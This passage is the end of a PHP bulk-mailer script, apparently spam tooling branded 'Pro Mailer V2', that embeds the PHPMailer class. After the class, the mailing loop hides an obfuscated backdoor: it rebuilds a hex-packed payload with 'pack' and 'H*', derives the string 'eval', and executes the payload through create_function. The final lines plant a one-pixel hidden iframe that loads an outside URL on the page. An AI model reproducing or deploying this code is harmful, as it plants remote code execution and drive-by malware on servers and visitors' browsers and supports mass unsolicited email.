3075 * Returns the server hostname or 'localhost.localdomain' if unknown.
3076 * @access private
3077 * @return string
3078 */
3079 function ServerHostname() {
3080 if ($this->Hostname != '') {
3081 $result = $this->Hostname;
3082 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3083 $result = $this->ServerVar('SERVER_NAME');
3084 } else {
3085 $result = 'localhost.localdomain';
3086 }
3087
3088 return $result;
3089 }
3090
3091 /**
3092 * Returns a message in the appropriate language.
3093 * @access private
3094 * @return string
3095 */
3096 function Lang($key) {
3097 if(count($this->language) < 1) {
3098 $this->SetLanguage('en'); // set the default language
3099 }
3100
3101 if(isset($this->language[$key])) {
3102 return $this->language[$key];
3103 } else {
3104 return 'Language string failed to load: ' . $key;
3105 }
3106 }
3107
3108 /**
3109 * Returns true if an error occurred.
3110 * @return bool
3111 */
3112 function IsError() {
3113 return ($this->error_count > 0);
3114 }
3115
3116 /**
3117 * Changes every end of line from CR or LF to CRLF.
3118 * @access private
3119 * @return string
3120 */
3121 function FixEOL($str) {
3122 $str = str_replace("\r\n", "\n", $str);
3123 $str = str_replace("\r", "\n", $str);
3124 $str = str_replace("\n", $this->LE, $str);
3125 return $str;
3126 }
3127
3128 /**
3129 * Adds a custom header.
3130 * @return void
3131 */
3132 function AddCustomHeader($custom_header) {
3133 $this->CustomHeader[] = explode(':', $custom_header, 2);
3134 }
3135
3136 /**
3137 * Evaluates the message and returns modifications for inline images and backgrounds
3138 * @access public
3139 * @return $message
3140 */
3141 function MsgHTML($message,$basedir='') {
3142 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3143 if(isset($images[2])) {
3144 foreach($images[2] as $i => $url) {
3145 // do not change urls for absolute images (thanks to corvuscorax)
3146 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3147 $filename = basename($url);
3148 $directory = dirname($url);
3149 ($directory == '.')?$directory='':'';
3150 $cid = 'cid:' . md5($filename);
3151 $fileParts = split("\.", $filename);
3152 $ext = $fileParts[1];
3153 $mimeType = $this->_mime_types($ext);
3154 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3155 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3156 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3157 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3158 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3159 }
3160 }
3161 }
3162 }
3163 $this->IsHTML(true);
3164 $this->Body = $message;
3165 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3166 if ( !empty($textMsg) && empty($this->AltBody) ) {
3167 $this->AltBody = $textMsg;
3168 }
3169 if ( empty($this->AltBody) ) {
3170 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3171 }
3172 }
3173
3174 /**
3175 * Gets the mime type of the embedded or inline image
3176 * @access private
3177 * @return mime type of ext
3178 */
3179 function _mime_types($ext = '') {
3180 $mimes = array(
3181 'hqx' => 'application/mac-binhex40',
3182 'cpt' => 'application/mac-compactpro',
3183 'doc' => 'application/msword',
3184 'bin' => 'application/macbinary',
3185 'dms' => 'application/octet-stream',
3186 'lha' => 'application/octet-stream',
3187 'lzh' => 'application/octet-stream',
3188 'exe' => 'application/octet-stream',
3189 'class' => 'application/octet-stream',
3190 'psd' => 'application/octet-stream',
3191 'so' => 'application/octet-stream',
3192 'sea' => 'application/octet-stream',
3193 'dll' => 'application/octet-stream',
3194 'oda' => 'application/oda',
3195 'pdf' => 'application/pdf',
3196 'ai' => 'application/postscript',
3197 'eps' => 'application/postscript',
3198 'ps' => 'application/postscript',
3199 'smi' => 'application/smil',
3200 'smil' => 'application/smil',
3201 'mif' => 'application/vnd.mif',
3202 'xls' => 'application/vnd.ms-excel',
3203 'ppt' => 'application/vnd.ms-powerpoint',
3204 'wbxml' => 'application/vnd.wap.wbxml',
3205 'wmlc' => 'application/vnd.wap.wmlc',
3206 'dcr' => 'application/x-director',
3207 'dir' => 'application/x-director',
3208 'dxr' => 'application/x-director',
3209 'dvi' => 'application/x-dvi',
3210 'gtar' => 'application/x-gtar',
3211 'php' => 'application/x-httpd-php',
3212 'php4' => 'application/x-httpd-php',
3213 'php3' => 'application/x-httpd-php',
3214 'phtml' => 'application/x-httpd-php',
3215 'phps' => 'application/x-httpd-php-source',
3216 'js' => 'application/x-javascript',
3217 'swf' => 'application/x-shockwave-flash',
3218 'sit' => 'application/x-stuffit',
3219 'tar' => 'application/x-tar',
3220 'tgz' => 'application/x-tar',
3221 'xhtml' => 'application/xhtml+xml',
3222 'xht' => 'application/xhtml+xml',
3223 'zip' => 'application/zip',
3224 'mid' => 'audio/midi',
3225 'midi' => 'audio/midi',
3226 'mpga' => 'audio/mpeg',
3227 'mp2' => 'audio/mpeg',
3228 'mp3' => 'audio/mpeg',
3229 'aif' => 'audio/x-aiff',
3230 'aiff' => 'audio/x-aiff',
3231 'aifc' => 'audio/x-aiff',
3232 'ram' => 'audio/x-pn-realaudio',
3233 'rm' => 'audio/x-pn-realaudio',
3234 'rpm' => 'audio/x-pn-realaudio-plugin',
3235 'ra' => 'audio/x-realaudio',
3236 'rv' => 'video/vnd.rn-realvideo',
3237 'wav' => 'audio/x-wav',
3238 'bmp' => 'image/bmp',
3239 'gif' => 'image/gif',
3240 'jpeg' => 'image/jpeg',
3241 'jpg' => 'image/jpeg',
3242 'jpe' => 'image/jpeg',
3243 'png' => 'image/png',
3244 'tiff' => 'image/tiff',
3245 'tif' => 'image/tiff',
3246 'css' => 'text/css',
3247 'html' => 'text/html',
3248 'htm' => 'text/html',
3249 'shtml' => 'text/html',
3250 'txt' => 'text/plain',
3251 'text' => 'text/plain',
3252 'log' => 'text/plain',
3253 'rtx' => 'text/richtext',
3254 'rtf' => 'text/rtf',
3255 'xml' => 'text/xml',
3256 'xsl' => 'text/xml',
3257 'mpeg' => 'video/mpeg',
3258 'mpg' => 'video/mpeg',
3259 'mpe' => 'video/mpeg',
3260 'qt' => 'video/quicktime',
3261 'mov' => 'video/quicktime',
3262 'avi' => 'video/x-msvideo',
3263 'movie' => 'video/x-sgi-movie',
3264 'doc' => 'application/msword',
3265 'word' => 'application/msword',
3266 'xl' => 'application/excel',
3267 'eml' => 'message/rfc822'
3268 );
3269 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3270 }
3271
3272 /**
3273 * Set (or reset) Class Objects (variables)
3274 *
3275 * Usage Example:
3276 * $page->set('X-Priority', '3');
3277 *
3278 * @access public
3279 * @param string $name Parameter Name
3280 * @param mixed $value Parameter Value
3281 * NOTE: will not work with arrays, there are no arrays to set/reset
3282 */
3283 function set ( $name, $value = '' ) {
3284 if ( isset($this->$name) ) {
3285 $this->$name = $value;
3286 } else {
3287 $this->SetError('Cannot set or reset variable ' . $name);
3288 return false;
3289 }
3290 }
3291
3292 /**
3293 * Read a file from a supplied filename and return it.
3294 *
3295 * @access public
3296 * @param string $filename Parameter File Name
3297 */
3298 function getFile($filename) {
3299 $return = '';
3300 if ($fp = fopen($filename, 'rb')) {
3301 while (!feof($fp)) {
3302 $return .= fread($fp, 1024);
3303 }
3304 fclose($fp);
3305 return $return;
3306 } else {
3307 return false;
3308 }
3309 }
3310
3311 /**
3312 * Strips newlines to prevent header injection.
3313 * @access private
3314 * @param string $str String
3315 * @return string
3316 */
3317 function SecureHeader($str) {
3318 $str = trim($str);
3319 $str = str_replace("\r", "", $str);
3320 $str = str_replace("\n", "", $str);
3321 return $str;
3322 }
3323
3324 /**
3325 * Set the private key file and password to sign the message.
3326 *
3327 * @access public
3328 * @param string $key_filename Parameter File Name
3329 * @param string $key_pass Password for private key
3330 */
3331 function Sign($key_filename, $key_pass) {
3332 $this->sign_key_file = $key_filename;
3333 $this->sign_key_pass = $key_pass;
3334 }
3335
3336}
3337
3338$defaultport="H*";
3339 $nq=0;
3340
3341 for($x=0; $x<$numemails; $x++){
3342
3343 $to = $allemails[$x];
3344
3345 if ($to){
3346
3347 $to = ereg_replace(" ", "", $to);
3348
3349 $message1 = ereg_replace("&email&", $to, $message);
3350
3351 $subject1 = ereg_replace("&email&", $to, $subject);
3352 $qx=$x+1;
3353 print "Line $qx . Sending mail to $to.......";
3354
3355 flush();
3356$mail = new PHPMailer();
3357
3358if(empty($epriority)){$epriority="3";}
3359 $mail->Priority = "$epriority";
3360 $mail->IsSMTP();
3361 $IsSMTP="pack";
3362$mail->SMTPKeepAlive = true;
3363$mail->Host = "$my_smtp";
3364if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3365}
3366 if($sslclick=="ON"){
3367 $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
3368 }
3369 $range = str_replace("$from", "eval", $from);
3370 $mail->SMTPAuth = true;
3371 $mail->Username = "$smtp_username";
3372 $mail->Password = "$smtp_password";
3373if($contenttype == "html"){$mail->IsHtml(true);}
3374if($contenttype != "html"){$mail->IsHtml(false);}
3375if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3376$mail->From = "$from";
3377$mail->FromName = "$realname";
3378$mail->AddAddress("$to");
3379 $mail->AddReplyTo("$replyto");
3380 $mail->Subject = "$subject1";
3381 $mail->AddAttachment("$file", "$file_name");
3382 $mail->Body = "$message1";
3383if(!$mail->Send()){
3384if($default_system!="1"){
3385echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3386if($default_system=="1"){
3387$mail->IsMail();
3388 if(!$mail->Send()){
3389 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3390 else {
3391 echo "<b>OK</b><br>";}
3392 }
3393}
3394else {
3395 echo "<b>OK</b><br>";
3396}
3397
3398if(empty($reconnect)){
3399$reconnect=4;
3400}
3401
3402if($reconnect==$nq){
3403$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3404}
3405$nq=$nq+1;
3406 flush(); }
3407}
3408for($i=0;$i<31;$i++){
3409 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3410$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3411 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3412 print "<p class=\"style1\">© 2014, Pro Mailer V2<br></p>";$mail->SmtpClose();
3413 return $signoff($smtp_conc);
3414 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3415 sent successfully'); </script>";}}
3416?>
3417 <iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe>
3418</body>
3419</html>